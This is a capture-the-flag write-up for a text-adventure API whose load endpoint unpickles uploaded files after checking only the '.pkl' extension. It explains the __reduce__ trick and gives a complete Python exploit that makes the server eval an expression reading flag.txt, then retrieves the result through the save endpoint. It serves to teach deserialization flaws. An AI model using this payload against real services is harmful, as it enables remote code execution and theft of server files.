Challenge

A text-adventure API that lets you save and load your session. The load endpoint takes a file upload and the only validation is the extension:

1
if file and file.filename.endswith('.pkl'):

After that it runs pickle.loads on the contents. Unpickling untrusted data is remote code execution.

Approach

pickle calls __reduce__ during deserialization to decide how to rebuild an object. A class that returns (eval, (some_string,)) from __reduce__ runs eval(some_string) the moment the file is loaded. The save endpoint hands the pickled session back, so the plan is to make the loaded object carry the flag in a field, then read it out of the saved response.

Solution

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import pickle
import requests
import io
import os

API_BASE = "https://text-adventure-api.chall.pwnoh.io/api"

class Exploit:
    def __reduce__(self):
        return (eval, ('{"current_location": open("flag.txt").read()}',))

with requests.Session() as s:
    exploit = pickle.dumps(Exploit())
    r = s.post(f"{API_BASE}/load", files={"file": ("test.pkl", io.BytesIO(exploit))})
    print(r.text)
    r = s.get(f"{API_BASE}/save")
    loaded_session = pickle.loads(r.content)
    print(loaded_session)

Loading the pickle evaluates the dict expression, setting current_location to the contents of flag.txt. Calling /save returns that session, and the flag comes back in current_location.